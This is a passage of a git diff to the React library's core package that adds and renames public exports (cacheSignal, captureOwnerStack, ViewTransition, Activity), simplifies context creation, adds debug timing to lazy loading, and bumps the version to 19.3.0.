   unstable_TracingMarker,
+  addTransitionType,
+  addTransitionType as unstable_addTransitionType,
   unstable_useCacheRefresh,
   use,
   useActionState,
@@ -65,3 +74,11 @@ export {useMemoCache as unstable_useMemoCache} from './src/ReactHooks';
 // export to match the name of the OSS function typically exported from
 // react/compiler-runtime
 export {useMemoCache as c} from './src/ReactHooks';
+
+// Only export captureOwnerStack in development.
+let captureOwnerStack: ?() => null | string;
+if (__DEV__) {
+  captureOwnerStack = captureOwnerStackImpl;
+}
+
+export {captureOwnerStack};
diff --git a/packages/react/index.js b/packages/react/index.js
index 8808d259583e..78b11b809e75 100644
--- a/packages/react/index.js
+++ b/packages/react/index.js
@@ -8,29 +8,22 @@
  */
 
 // Keep in sync with https://github.com/facebook/flow/blob/main/lib/react.js
-export type ComponentType<-P> = React$ComponentType<P>;
-export type AbstractComponent<
-  -Config,
-  +Instance = mixed,
-> = React$AbstractComponent<Config, Instance>;
 export type ElementType = React$ElementType;
 export type Element<+C> = React$Element<C>;
+export type MixedElement = React$Element<ElementType>;
 export type Key = React$Key;
-export type Ref<C> = React$Ref<C>;
 export type Node = React$Node;
 export type Context<T> = React$Context<T>;
 export type Portal = React$Portal;
+export type RefSetter<-I> = React$RefSetter<I>;
 export type ElementProps<C> = React$ElementProps<C>;
 export type ElementConfig<C> = React$ElementConfig<C>;
 export type ElementRef<C> = React$ElementRef<C>;
-export type Config<Props, DefaultProps> = React$Config<Props, DefaultProps>;
 export type ChildrenArray<+T> = $ReadOnlyArray<ChildrenArray<T>> | T;
 
-// Export all exports so that they're available in tests.
-// We can't use export * from in Flow for some reason.
 export {
   __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,
-  act,
+  __COMPILER_RUNTIME,
   Children,
   Component,
   Fragment,
@@ -48,13 +41,15 @@ export {
   lazy,
   memo,
   cache,
+  cacheSignal,
   startTransition,
-  unstable_DebugTracingMode,
   unstable_LegacyHidden,
-  unstable_Activity,
+  Activity,
   unstable_Scope,
   unstable_SuspenseList,
   unstable_TracingMarker,
+  ViewTransition,
+  addTransitionType,
   unstable_getCacheForType,
   unstable_useCacheRefresh,
   useId,
@@ -63,7 +58,7 @@ export {
   useDebugValue,
   useDeferredValue,
   useEffect,
-  experimental_useEffectEvent,
+  useEffectEvent,
   useImperativeHandle,
   useInsertionEffect,
   useLayoutEffect,
diff --git a/packages/react/index.stable.development.js b/packages/react/index.stable.development.js
new file mode 100644
index 000000000000..5fd89390bcab
--- /dev/null
+++ b/packages/react/index.stable.development.js
@@ -0,0 +1,57 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,
+  __COMPILER_RUNTIME,
+  Activity,
+  Children,
+  Component,
+  Fragment,
+  Profiler,
+  PureComponent,
+  StrictMode,
+  Suspense,
+  ViewTransition,
+  addTransitionType,
+  cloneElement,
+  createContext,
+  createElement,
+  createRef,
+  use,
+  forwardRef,
+  isValidElement,
+  lazy,
+  memo,
+  cache,
+  cacheSignal,
+  unstable_useCacheRefresh,
+  startTransition,
+  useId,
+  useCallback,
+  useContext,
+  useDebugValue,
+  useDeferredValue,
+  useEffect,
+  useEffectEvent,
+  useImperativeHandle,
+  useInsertionEffect,
+  useLayoutEffect,
+  useMemo,
+  useReducer,
+  useOptimistic,
+  useRef,
+  useState,
+  useSyncExternalStore,
+  useTransition,
+  useActionState,
+  version,
+  act, // DEV-only
+  captureOwnerStack, // DEV-only
+} from './src/ReactClient';
diff --git a/packages/react/index.stable.js b/packages/react/index.stable.js
index a08110e809bd..830a4e9bb5dd 100644
--- a/packages/react/index.stable.js
+++ b/packages/react/index.stable.js
@@ -9,7 +9,8 @@
 
 export {
   __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,
-  act,
+  __COMPILER_RUNTIME,
+  Activity,
   Children,
   Component,
   Fragment,
@@ -17,6 +18,8 @@ export {
   PureComponent,
   StrictMode,
   Suspense,
+  ViewTransition,
+  addTransitionType,
   cloneElement,
   createContext,
   createElement,
@@ -27,6 +30,7 @@ export {
   lazy,
   memo,
   cache,
+  cacheSignal,
   unstable_useCacheRefresh,
   startTransition,
   useId,
@@ -35,6 +39,7 @@ export {
   useDebugValue,
   useDeferredValue,
   useEffect,
+  useEffectEvent,
   useImperativeHandle,
   useInsertionEffect,
   useLayoutEffect,
diff --git a/packages/react/package.json b/packages/react/package.json
index a61385ae9db6..0705be8aa063 100644
--- a/packages/react/package.json
+++ b/packages/react/package.json
@@ -4,7 +4,7 @@
   "keywords": [
     "react"
   ],
-  "version": "19.0.0",
+  "version": "19.3.0",
   "homepage": "https://react.dev/",
   "bugs": "https://github.com/facebook/react/issues",
   "license": "MIT",
diff --git a/packages/react/src/ReactAct.js b/packages/react/src/ReactAct.js
index c4c8a98d5315..1e74d222a29a 100644
--- a/packages/react/src/ReactAct.js
+++ b/packages/react/src/ReactAct.js
@@ -23,7 +23,6 @@ let didWarnNoAwaitAct = false;
 
 function aggregateErrors(errors: Array<mixed>): mixed {
   if (errors.length > 1 && typeof AggregateError === 'function') {
-    // eslint-disable-next-line no-undef
     return new AggregateError(errors);
   }
   return errors[0];
diff --git a/packages/react/src/ReactCacheClient.js b/packages/react/src/ReactCacheClient.js
index 64fef23c6c49..ef1e8d6d1da5 100644
--- a/packages/react/src/ReactCacheClient.js
+++ b/packages/react/src/ReactCacheClient.js
@@ -8,9 +8,12 @@
  */
 
 import {disableClientCache} from 'shared/ReactFeatureFlags';
-import {cache as cacheImpl} from './ReactCacheImpl';
+import {
+  cache as cacheImpl,
+  cacheSignal as cacheSignalImpl,
+} from './ReactCacheImpl';
 
-export function noopCache<A: Iterable<mixed>, T>(fn: (...A) => T): (...A) => T {
+function noopCache<A: Iterable<mixed>, T>(fn: (...A) => T): (...A) => T {
   // On the client (i.e. not a Server Components environment) `cache` has
   // no caching behavior. We just return the function as-is.
   //
@@ -32,3 +35,11 @@ export function noopCache<A: Iterable<mixed>, T>(fn: (...A) => T): (...A) => T {
 export const cache: typeof noopCache = disableClientCache
   ? noopCache
   : cacheImpl;
+
+function noopCacheSignal(): null | AbortSignal {
+  return null;
+}
+
+export const cacheSignal: () => null | AbortSignal = disableClientCache
+  ? noopCacheSignal
+  : cacheSignalImpl;
diff --git a/packages/react/src/ReactCacheImpl.js b/packages/react/src/ReactCacheImpl.js
index cc3136897e35..2ff7431fc519 100644
--- a/packages/react/src/ReactCacheImpl.js
+++ b/packages/react/src/ReactCacheImpl.js
@@ -126,3 +126,15 @@ export function cache<A: Iterable<mixed>, T>(fn: (...A) => T): (...A) => T {
     }
   };
 }
+
+export function cacheSignal(): null | AbortSignal {
+  const dispatcher = ReactSharedInternals.A;
+  if (!dispatcher) {
+    // If there is no dispatcher, then we treat this as not having an AbortSignal
+    // since in the same context, a cached function will be allowed to be called
+    // but it won't be cached. So it's neither an infinite AbortSignal nor an
+    // already resolved one.
+    return null;
+  }
+  return dispatcher.cacheSignal();
+}
diff --git a/packages/react/src/ReactCacheServer.js b/packages/react/src/ReactCacheServer.js
index dd90d8de2a99..ec68dc7c2724 100644
--- a/packages/react/src/ReactCacheServer.js
+++ b/packages/react/src/ReactCacheServer.js
@@ -7,4 +7,4 @@
  * @flow
  */
 
-export {cache} from './ReactCacheImpl';
+export {cache, cacheSignal} from './ReactCacheImpl';
diff --git a/packages/react/src/ReactChildren.js b/packages/react/src/ReactChildren.js
index 7296a452c00a..d4c41d6669a3 100644
--- a/packages/react/src/ReactChildren.js
+++ b/packages/react/src/ReactChildren.js
@@ -16,12 +16,15 @@ import type {
 } from 'shared/ReactTypes';
 
 import isArray from 'shared/isArray';
+import noop from 'shared/noop';
 import {
   getIteratorFn,
   REACT_ELEMENT_TYPE,
   REACT_LAZY_TYPE,
   REACT_PORTAL_TYPE,
+  REACT_OPTIMISTIC_KEY,
 } from 'shared/ReactSymbols';
+import {enableOptimisticKey} from 'shared/ReactFeatureFlags';
 import {checkKeyStringCoercion} from 'shared/CheckStringCoercion';
 
 import {isValidElement, cloneAndReplaceKey} from './jsx/ReactJSXElement';
@@ -42,6 +45,7 @@ function escape(key: string): string {
     ':': '=2',
   };
   const escapedString = key.replace(escapeRegex, function (match) {
+    // $FlowFixMe[invalid-computed-prop]
     return escaperLookup[match];
   });
 
@@ -71,6 +75,13 @@ function getElementKey(element: any, index: number): string {
   // Do some typechecking here since we call this blindly. We want to ensure
   // that we don't block potential future ES APIs.
   if (typeof element === 'object' && element !== null && element.key != null) {
+    if (enableOptimisticKey && element.key === REACT_OPTIMISTIC_KEY) {
+      // For React.Children purposes this is treated as just null.
+      if (__DEV__) {
+        console.error("React.Children helpers don't support optimisticKey.");
+      }
+      return index.toString(36);
+    }
     // Explicit key
     if (__DEV__) {
       checkKeyStringCoercion(element.key);
@@ -81,8 +92,6 @@ function getElementKey(element: any, index: number): string {
   return index.toString(36);
 }
 
-function noop() {}
-
 function resolveThenable<T>(thenable: Thenable<T>): T {
   switch (thenable.status) {
     case 'fulfilled': {
@@ -127,7 +136,7 @@ function resolveThenable<T>(thenable: Thenable<T>): T {
       }
 
       // Check one more time in case the thenable resolved synchronously.
-      switch (thenable.status) {
+      switch ((thenable: Thenable<T>).status) {
         case 'fulfilled': {
           const fulfilledThenable: FulfilledThenable<T> = (thenable: any);
           return fulfilledThenable.value;
diff --git a/packages/react/src/ReactClient.js b/packages/react/src/ReactClient.js
index 4d5ec0d3ea5f..5d1c7f3ac05e 100644
--- a/packages/react/src/ReactClient.js
+++ b/packages/react/src/ReactClient.js
@@ -10,15 +10,16 @@
 import ReactVersion from 'shared/ReactVersion';
 import {
   REACT_FRAGMENT_TYPE,
-  REACT_DEBUG_TRACING_MODE_TYPE,
   REACT_PROFILER_TYPE,
   REACT_STRICT_MODE_TYPE,
   REACT_SUSPENSE_TYPE,
   REACT_SUSPENSE_LIST_TYPE,
   REACT_LEGACY_HIDDEN_TYPE,
-  REACT_OFFSCREEN_TYPE,
+  REACT_ACTIVITY_TYPE,
   REACT_SCOPE_TYPE,
   REACT_TRACING_MARKER_TYPE,
+  REACT_VIEW_TRANSITION_TYPE,
+  REACT_OPTIMISTIC_KEY,
 } from 'shared/ReactSymbols';
 
 import {Component, PureComponent} from './ReactBaseClasses';
@@ -33,8 +34,7 @@ import {createContext} from './ReactContext';
 import {lazy} from './ReactLazy';
 import {forwardRef} from './ReactForwardRef';
 import {memo} from './ReactMemo';
-import {cache} from './ReactCacheClient';
-import {postpone} from './ReactPostpone';
+import {cache, cacheSignal} from './ReactCacheClient';
 import {
   getCacheForType,
   useCallback,
@@ -59,8 +59,11 @@ import {
   useActionState,
 } from './ReactHooks';
 import ReactSharedInternals from './ReactSharedInternalsClient';
-import {startTransition} from './ReactStartTransition';
+import {startTransition, startGestureTransition} from './ReactStartTransition';
+import {addTransitionType} from './ReactTransitionType';
 import {act} from './ReactAct';
+import {captureOwnerStack} from './ReactOwnerStack';
+import * as ReactCompilerRuntime from './ReactCompilerRuntime';
 
 const Children = {
   map,
@@ -80,11 +83,11 @@ export {
   lazy,
   memo,
   cache,
-  postpone as unstable_postpone,
+  cacheSignal,
   useCallback,
   useContext,
   useEffect,
-  useEffectEvent as experimental_useEffectEvent,
+  useEffectEvent,
   useImperativeHandle,
   useDebugValue,
   useInsertionEffect,
@@ -99,20 +102,20 @@ export {
   REACT_FRAGMENT_TYPE as Fragment,
   REACT_PROFILER_TYPE as Profiler,
   REACT_STRICT_MODE_TYPE as StrictMode,
-  REACT_DEBUG_TRACING_MODE_TYPE as unstable_DebugTracingMode,
   REACT_SUSPENSE_TYPE as Suspense,
   createElement,
   cloneElement,
   isValidElement,
   ReactVersion as version,
   ReactSharedInternals as __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,
+  ReactCompilerRuntime as __COMPILER_RUNTIME,
   // Concurrent Mode
   useTransition,
   startTransition,
   useDeferredValue,
   REACT_SUSPENSE_LIST_TYPE as unstable_SuspenseList,
   REACT_LEGACY_HIDDEN_TYPE as unstable_LegacyHidden,
-  REACT_OFFSCREEN_TYPE as unstable_Activity,
+  REACT_ACTIVITY_TYPE as Activity,
   getCacheForType as unstable_getCacheForType,
   useCacheRefresh as unstable_useCacheRefresh,
   use,
@@ -120,6 +123,15 @@ export {
   REACT_SCOPE_TYPE as unstable_Scope,
   // enableTransitionTracing
   REACT_TRACING_MARKER_TYPE as unstable_TracingMarker,
+  // enableViewTransition
+  REACT_VIEW_TRANSITION_TYPE as ViewTransition,
+  addTransitionType as addTransitionType,
+  // enableGestureTransition
+  startGestureTransition as unstable_startGestureTransition,
+  // enableOptimisticKey
+  REACT_OPTIMISTIC_KEY as optimisticKey,
+  // DEV-only
   useId,
   act,
+  captureOwnerStack,
 };
diff --git a/packages/react/src/ReactCompilerRuntime.js b/packages/react/src/ReactCompilerRuntime.js
new file mode 100644
index 000000000000..250f2324cae3
--- /dev/null
+++ b/packages/react/src/ReactCompilerRuntime.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {useMemoCache as c} from './ReactHooks';
diff --git a/packages/react/src/ReactContext.js b/packages/react/src/ReactContext.js
index 24461ebfbb7b..d5dbb433dfe3 100644
--- a/packages/react/src/ReactContext.js
+++ b/packages/react/src/ReactContext.js
@@ -7,14 +7,9 @@
  * @flow
  */
 
-import {
-  REACT_PROVIDER_TYPE,
-  REACT_CONSUMER_TYPE,
-  REACT_CONTEXT_TYPE,
-} from 'shared/ReactSymbols';
+import {REACT_CONSUMER_TYPE, REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';
 
 import type {ReactContext} from 'shared/ReactTypes';
-import {enableRenderableContext} from 'shared/ReactFeatureFlags';
 
 export function createContext<T>(defaultValue: T): ReactContext<T> {
   // TODO: Second argument used to be an optional `calculateChangedBits`
@@ -37,73 +32,11 @@ export function createContext<T>(defaultValue: T): ReactContext<T> {
     Consumer: (null: any),
   };
 
-  if (enableRenderableContext) {
-    context.Provider = context;
-    context.Consumer = {
-      $$typeof: REACT_CONSUMER_TYPE,
-      _context: context,
-    };
-  } else {
-    (context: any).Provider = {
-      $$typeof: REACT_PROVIDER_TYPE,
-      _context: context,
-    };
-    if (__DEV__) {
-      const Consumer: any = {
-        $$typeof: REACT_CONTEXT_TYPE,
-        _context: context,
-      };
-      Object.defineProperties(Consumer, {
-        Provider: {
-          get() {
-            return context.Provider;
-          },
-          set(_Provider: any) {
-            context.Provider = _Provider;
-          },
-        },
-        _currentValue: {
-          get() {
-            return context._currentValue;
-          },
-          set(_currentValue: T) {
-            context._currentValue = _currentValue;
-          },
-        },
-        _currentValue2: {
-          get() {
-            return context._currentValue2;
-          },
-          set(_currentValue2: T) {
-            context._currentValue2 = _currentValue2;
-          },
-        },
-        _threadCount: {
-          get() {
-            return context._threadCount;
-          },
-          set(_threadCount: number) {
-            context._threadCount = _threadCount;
-          },
-        },
-        Consumer: {
-          get() {
-            return context.Consumer;
-          },
-        },
-        displayName: {
-          get() {
-            return context.displayName;
-          },
-          set(displayName: void | string) {},
-        },
-      });
-      (context: any).Consumer = Consumer;
-    } else {
-      (context: any).Consumer = context;
-    }
-  }
-
+  context.Provider = context;
+  context.Consumer = {
+    $$typeof: REACT_CONSUMER_TYPE,
+    _context: context,
+  };
   if (__DEV__) {
     context._currentRenderer = null;
     context._currentRenderer2 = null;
diff --git a/packages/react/src/ReactForwardRef.js b/packages/react/src/ReactForwardRef.js
index 8978763ba15e..4f891d609ff4 100644
--- a/packages/react/src/ReactForwardRef.js
+++ b/packages/react/src/ReactForwardRef.js
@@ -10,7 +10,10 @@
 import {REACT_FORWARD_REF_TYPE, REACT_MEMO_TYPE} from 'shared/ReactSymbols';
 
 export function forwardRef<Props, ElementType: React$ElementType>(
-  render: (props: Props, ref: React$Ref<ElementType>) => React$Node,
+  render: (
+    props: Props,
+    ref: React$RefSetter<React$ElementRef<ElementType>>,
+  ) => React$Node,
 ) {
   if (__DEV__) {
     if (render != null && render.$$typeof === REACT_MEMO_TYPE) {
diff --git a/packages/react/src/ReactHooks.js b/packages/react/src/ReactHooks.js
index 93d9fa28f07f..ff86130baa05 100644
--- a/packages/react/src/ReactHooks.js
+++ b/packages/react/src/ReactHooks.js
@@ -18,8 +18,6 @@ import {REACT_CONSUMER_TYPE} from 'shared/ReactSymbols';
 
 import ReactSharedInternals from 'shared/ReactSharedInternals';
 
-import {enableAsyncActions} from 'shared/ReactFeatureFlags';
-
 type BasicStateAction<S> = (S => S) | S;
 type Dispatch<A> = A => void;
 
@@ -90,6 +88,14 @@ export function useEffect(
   create: () => (() => void) | void,
   deps: Array<mixed> | void | null,
 ): void {
+  if (__DEV__) {
+    if (create == null) {
+      console.warn(
+        'React Hook useEffect requires an effect callback. Did you forget to pass a callback to the hook?',
+      );
+    }
+  }
+
   const dispatcher = resolveDispatcher();
   return dispatcher.useEffect(create, deps);
 }
@@ -98,6 +104,14 @@ export function useInsertionEffect(
   create: () => (() => void) | void,
   deps: Array<mixed> | void | null,
 ): void {
+  if (__DEV__) {
+    if (create == null) {
+      console.warn(
+        'React Hook useInsertionEffect requires an effect callback. Did you forget to pass a callback to the hook?',
+      );
+    }
+  }
+
   const dispatcher = resolveDispatcher();
   return dispatcher.useInsertionEffect(create, deps);
 }
@@ -106,6 +120,14 @@ export function useLayoutEffect(
   create: () => (() => void) | void,
   deps: Array<mixed> | void | null,
 ): void {
+  if (__DEV__) {
+    if (create == null) {
+      console.warn(
+        'React Hook useLayoutEffect requires an effect callback. Did you forget to pass a callback to the hook?',
+      );
+    }
+  }
+
   const dispatcher = resolveDispatcher();
   return dispatcher.useLayoutEffect(create, deps);
 }
@@ -187,7 +209,7 @@ export function use<T>(usable: Usable<T>): T {
   return dispatcher.use(usable);
 }
 
-export function useMemoCache(size: number): Array<any> {
+export function useMemoCache(size: number): Array<mixed> {
   const dispatcher = resolveDispatcher();
   // $FlowFixMe[not-a-function] This is unstable, thus optional
   return dispatcher.useMemoCache(size);
@@ -206,7 +228,6 @@ export function useOptimistic<S, A>(
   reducer: ?(S, A) => S,
 ): [S, (A) => void] {
   const dispatcher = resolveDispatcher();
-  // $FlowFixMe[not-a-function] This is unstable, thus optional
   return dispatcher.useOptimistic(passthrough, reducer);
 }
 
@@ -215,11 +236,6 @@ export function useActionState<S, P>(
   initialState: Awaited<S>,
   permalink?: string,
 ): [Awaited<S>, (P) => void, boolean] {
-  if (!enableAsyncActions) {
-    throw new Error('Not implemented.');
-  } else {
-    const dispatcher = resolveDispatcher();
-    // $FlowFixMe[not-a-function] This is unstable, thus optional
-    return dispatcher.useActionState(action, initialState, permalink);
-  }
+  const dispatcher = resolveDispatcher();
+  return dispatcher.useActionState(action, initialState, permalink);
 }
diff --git a/packages/react/src/ReactLazy.js b/packages/react/src/ReactLazy.js
index e1b222ad8b22..b380750ca10a 100644
--- a/packages/react/src/ReactLazy.js
+++ b/packages/react/src/ReactLazy.js
@@ -7,10 +7,20 @@
  * @flow
  */
 
-import type {Wakeable, Thenable, ReactDebugInfo} from 'shared/ReactTypes';
+import type {
+  Wakeable,
+  Thenable,
+  FulfilledThenable,
+  RejectedThenable,
+  ReactDebugInfo,
+  ReactIOInfo,
+} from 'shared/ReactTypes';
+
+import {enableAsyncDebugInfo} from 'shared/ReactFeatureFlags';
 
 import {REACT_LAZY_TYPE} from 'shared/ReactSymbols';
-import {disableDefaultPropsExceptForClasses} from 'shared/ReactFeatureFlags';
+
+import noop from 'shared/noop';
 
 const Uninitialized = -1;
 const Pending = 0;
@@ -20,21 +30,25 @@ const Rejected = 2;
 type UninitializedPayload<T> = {
   _status: -1,
   _result: () => Thenable<{default: T, ...}>,
+  _ioInfo?: ReactIOInfo, // DEV-only
 };
 
 type PendingPayload = {
   _status: 0,
   _result: Wakeable,
+  _ioInfo?: ReactIOInfo, // DEV-only
 };
 
 type ResolvedPayload<T> = {
   _status: 1,
   _result: {default: T, ...},
+  _ioInfo?: ReactIOInfo, // DEV-only
 };
 
 type RejectedPayload = {
   _status: 2,
   _result: mixed,
+  _ioInfo?: ReactIOInfo, // DEV-only
 };
 
 type Payload<T> =
@@ -47,11 +61,30 @@ export type LazyComponent<T, P> = {
   $$typeof: symbol | number,
   _payload: P,
   _init: (payload: P) => T,
+
+  // __DEV__
   _debugInfo?: null | ReactDebugInfo,
+  _store?: {validated: 0 | 1 | 2, ...}, // 0: not validated, 1: validated, 2: force fail
 };
 
 function lazyInitializer<T>(payload: Payload<T>): T {
   if (payload._status === Uninitialized) {
+    let resolveDebugValue: (void | T) => void = (null: any);
+    let rejectDebugValue: mixed => void = (null: any);
+    if (__DEV__ && enableAsyncDebugInfo) {
+      const ioInfo = payload._ioInfo;
+      if (ioInfo != null) {
+        // Mark when we first kicked off the lazy request.
+        // $FlowFixMe[cannot-write]
+        ioInfo.start = ioInfo.end = performance.now();
+        // Stash a Promise for introspection of the value later.
+        // $FlowFixMe[cannot-write]
+        ioInfo.value = new Promise((resolve, reject) => {
+          resolveDebugValue = resolve;
+          rejectDebugValue = reject;
+        });
+      }
+    }
     const ctor = payload._result;
     const thenable = ctor();
     // Transition to the next state.
@@ -61,22 +94,88 @@ function lazyInitializer<T>(payload: Payload<T>): T {
     // end up fixing it if the resolution was a concurrency bug.
     thenable.then(
       moduleObject => {
-        if (payload._status === Pending || payload._status === Uninitialized) {
+        if (
+          (payload: Payload<T>)._status === Pending ||
+          payload._status === Uninitialized
+        ) {
           // Transition to the next state.
           const resolved: ResolvedPayload<T> = (payload: any);
           resolved._status = Resolved;
           resolved._result = moduleObject;
+          if (__DEV__ && enableAsyncDebugInfo) {
+            const ioInfo = payload._ioInfo;
+            if (ioInfo != null) {
+              // Mark the end time of when we resolved.
+              // $FlowFixMe[cannot-write]
+              ioInfo.end = performance.now();
+              // Surface the default export as the resolved "value" for debug purposes.
+              const debugValue =
+                moduleObject == null ? undefined : moduleObject.default;
+              resolveDebugValue(debugValue);
+              // $FlowFixMe
+              ioInfo.value.status = 'fulfilled';
+              // $FlowFixMe
+              ioInfo.value.value = debugValue;
+            }
+          }
+          // Make the thenable introspectable
+          // TODO we should move the lazy introspection into the resolveLazy
+          // impl or make suspendedThenable be able to be a lazy itself
+          if (thenable.status === undefined) {
+            const fulfilledThenable: FulfilledThenable<{default: T, ...}> =
+              (thenable: any);
+            fulfilledThenable.status = 'fulfilled';
+            fulfilledThenable.value = moduleObject;
+          }
         }
       },
       error => {
-        if (payload._status === Pending || payload._status === Uninitialized) {
+        if (
+          (payload: Payload<T>)._status === Pending ||
+          payload._status === Uninitialized
+        ) {
           // Transition to the next state.
           const rejected: RejectedPayload = (payload: any);
           rejected._status = Rejected;
           rejected._result = error;
+          if (__DEV__ && enableAsyncDebugInfo) {
+            const ioInfo = payload._ioInfo;
+            if (ioInfo != null) {
+              // Mark the end time of when we rejected.
+              // $FlowFixMe[cannot-write]
+              ioInfo.end = performance.now();
+              // Hide unhandled rejections.
+              // $FlowFixMe
+              ioInfo.value.then(noop, noop);
+              rejectDebugValue(error);
+              // $FlowFixMe
+              ioInfo.value.status = 'rejected';
+              // $FlowFixMe
+              ioInfo.value.reason = error;
+            }
+          }
+          // Make the thenable introspectable
+          // TODO we should move the lazy introspection into the resolveLazy
+          // impl or make suspendedThenable be able to be a lazy itself
+          if (thenable.status === undefined) {
+            const rejectedThenable: RejectedThenable<{default: T, ...}> =
+              (thenable: any);
+            rejectedThenable.status = 'rejected';
+            rejectedThenable.reason = error;
+          }
         }
       },
     );
+    if (__DEV__ && enableAsyncDebugInfo) {
+      const ioInfo = payload._ioInfo;
+      if (ioInfo != null) {
+        const displayName = thenable.displayName;
+        if (typeof displayName === 'string') {
+          // $FlowFixMe[cannot-write]
+          ioInfo.name = displayName;
+        }
+      }
+    }
     if (payload._status === Uninitialized) {
       // In case, we're still uninitialized, then we're waiting for the thenable
       // to resolve. Set it as pending in the meantime.
@@ -135,34 +234,25 @@ export function lazy<T>(
     _init: lazyInitializer,
   };
 
-  if (!disableDefaultPropsExceptForClasses) {
-    if (__DEV__) {
-      // In production, this would just set it on the object.
-      let defaultProps;
-      // $FlowFixMe[prop-missing]
-      Object.defineProperties(lazyType, {
-        defaultProps: {
-          configurable: true,
-          get() {
-            return defaultProps;
-          },
-          // $FlowFixMe[missing-local-annot]
-          set(newDefaultProps) {
-            console.error(
-              'It is not supported to assign `defaultProps` to ' +
-                'a lazy component import. Either specify them where the component ' +
-                'is defined, or create a wrapping component around it.',
-            );
-            defaultProps = newDefaultProps;
-            // Match production behavior more closely:
-            // $FlowFixMe[prop-missing]
-            Object.defineProperty(lazyType, 'defaultProps', {
-              enumerable: true,
-            });
-          },
-        },
-      });
-    }
+  if (__DEV__ && enableAsyncDebugInfo) {
+    // TODO: We should really track the owner here but currently ReactIOInfo
+    // can only contain ReactComponentInfo and not a Fiber. It's unusual to
+    // create a lazy inside an owner though since they should be in module scope.
+    const owner = null;
+    const ioInfo: ReactIOInfo = {
+      name: 'lazy',
+      start: -1,
+      end: -1,
+      value: null,
+      owner: owner,
+      debugStack: new Error('react-stack-top-frame'),
+      // eslint-disable-next-line react-internal/no-production-logging
+      debugTask: console.createTask ? console.createTask('lazy()') : null,
+    };
+    payload._ioInfo = ioInfo;
+    // Add debug info to the lazy, but this doesn't have an await stack yet.
+    // That will be inferred by later usage.
+    lazyType._debugInfo = [{awaited: ioInfo}];
   }
 
   return lazyType;
diff --git a/packages/react/src/ReactMemo.js b/packages/react/src/ReactMemo.js
index 0149712b054c..8f2c0f53827c 100644
--- a/packages/react/src/ReactMemo.js
+++ b/packages/react/src/ReactMemo.js
@@ -9,14 +9,12 @@
 
 import {REACT_MEMO_TYPE} from 'shared/ReactSymbols';
 
-import isValidElementType from 'shared/isValidElementType';
-
 export function memo<Props>(
   type: React$ElementType,
   compare?: (oldProps: Props, newProps: Props) => boolean,
 ) {
   if (__DEV__) {
-    if (!isValidElementType(type)) {
+    if (type == null) {
       console.error(
         'memo: The first argument must be a component. Instead ' +
           'received: %s',
diff --git a/packages/react/src/ReactOwnerStack.js b/packages/react/src/ReactOwnerStack.js
new file mode 100644
index 000000000000..7c0776be406d
--- /dev/null
+++ b/packages/react/src/ReactOwnerStack.js
@@ -0,0 +1,23 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and its affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import ReactSharedInternals from 'shared/ReactSharedInternals';
+
+export function captureOwnerStack(): null | string {
+  if (__DEV__) {
+    const getCurrentStack = ReactSharedInternals.getCurrentStack;
+    if (getCurrentStack === null) {
+      return null;
+    }
+    // The current stack will be the owner stack which it is always here.
+    return getCurrentStack();
+  }
+
+  return null;
+}
diff --git a/packages/react/src/ReactPostpone.js b/packages/react/src/ReactPostpone.js
deleted file mode 100644
index 0496d2985b38..000000000000
--- a/packages/react/src/ReactPostpone.js
+++ /dev/null
@@ -1,23 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and its affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import {REACT_POSTPONE_TYPE} from 'shared/ReactSymbols';
-
-declare class Postpone extends Error {
-  $$typeof: symbol;
-}
-
-export type {Postpone};
-
-export function postpone(reason: string): void {
-  // eslint-disable-next-line react-internal/prod-error-codes
-  const postponeInstance: Postpone = (new Error(reason): any);
-  postponeInstance.$$typeof = REACT_POSTPONE_TYPE;
-  throw postponeInstance;
-}
diff --git a/packages/react/src/ReactServer.experimental.development.js b/packages/react/src/ReactServer.experimental.development.js
new file mode 100644
index 000000000000..dd92bf9104f4
--- /dev/null
+++ b/packages/react/src/ReactServer.experimental.development.js
@@ -0,0 +1,89 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {default as __SERVER_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE} from './ReactSharedInternalsServer';
+
+import {forEach, map, count, toArray, only} from './ReactChildren';
+import {
+  REACT_FRAGMENT_TYPE,
+  REACT_PROFILER_TYPE,
+  REACT_STRICT_MODE_TYPE,
+  REACT_SUSPENSE_TYPE,
+  REACT_SUSPENSE_LIST_TYPE,
+  REACT_VIEW_TRANSITION_TYPE,
+  REACT_ACTIVITY_TYPE,
+  REACT_OPTIMISTIC_KEY,
+} from 'shared/ReactSymbols';
+import {
+  cloneElement,
+  createElement,
+  isValidElement,
+} from './jsx/ReactJSXElement';
+import {createRef} from './ReactCreateRef';
+import {
+  use,
+  useId,
+  useCallback,
+  useDebugValue,
+  useMemo,
+  getCacheForType,
+} from './ReactHooks';
+import {forwardRef} from './ReactForwardRef';
+import {lazy} from './ReactLazy';
+import {memo} from './ReactMemo';
+import {cache, cacheSignal} from './ReactCacheServer';
+import {startTransition} from './ReactStartTransition';
+import {captureOwnerStack} from './ReactOwnerStack';
+import version from 'shared/ReactVersion';
+
+const Children = {
+  map,
+  forEach,
+  count,
+  toArray,
+  only,
+};
+
+// These are server-only
+export {
+  taintUniqueValue as experimental_taintUniqueValue,
+  taintObjectReference as experimental_taintObjectReference,
+} from './ReactTaint';
+
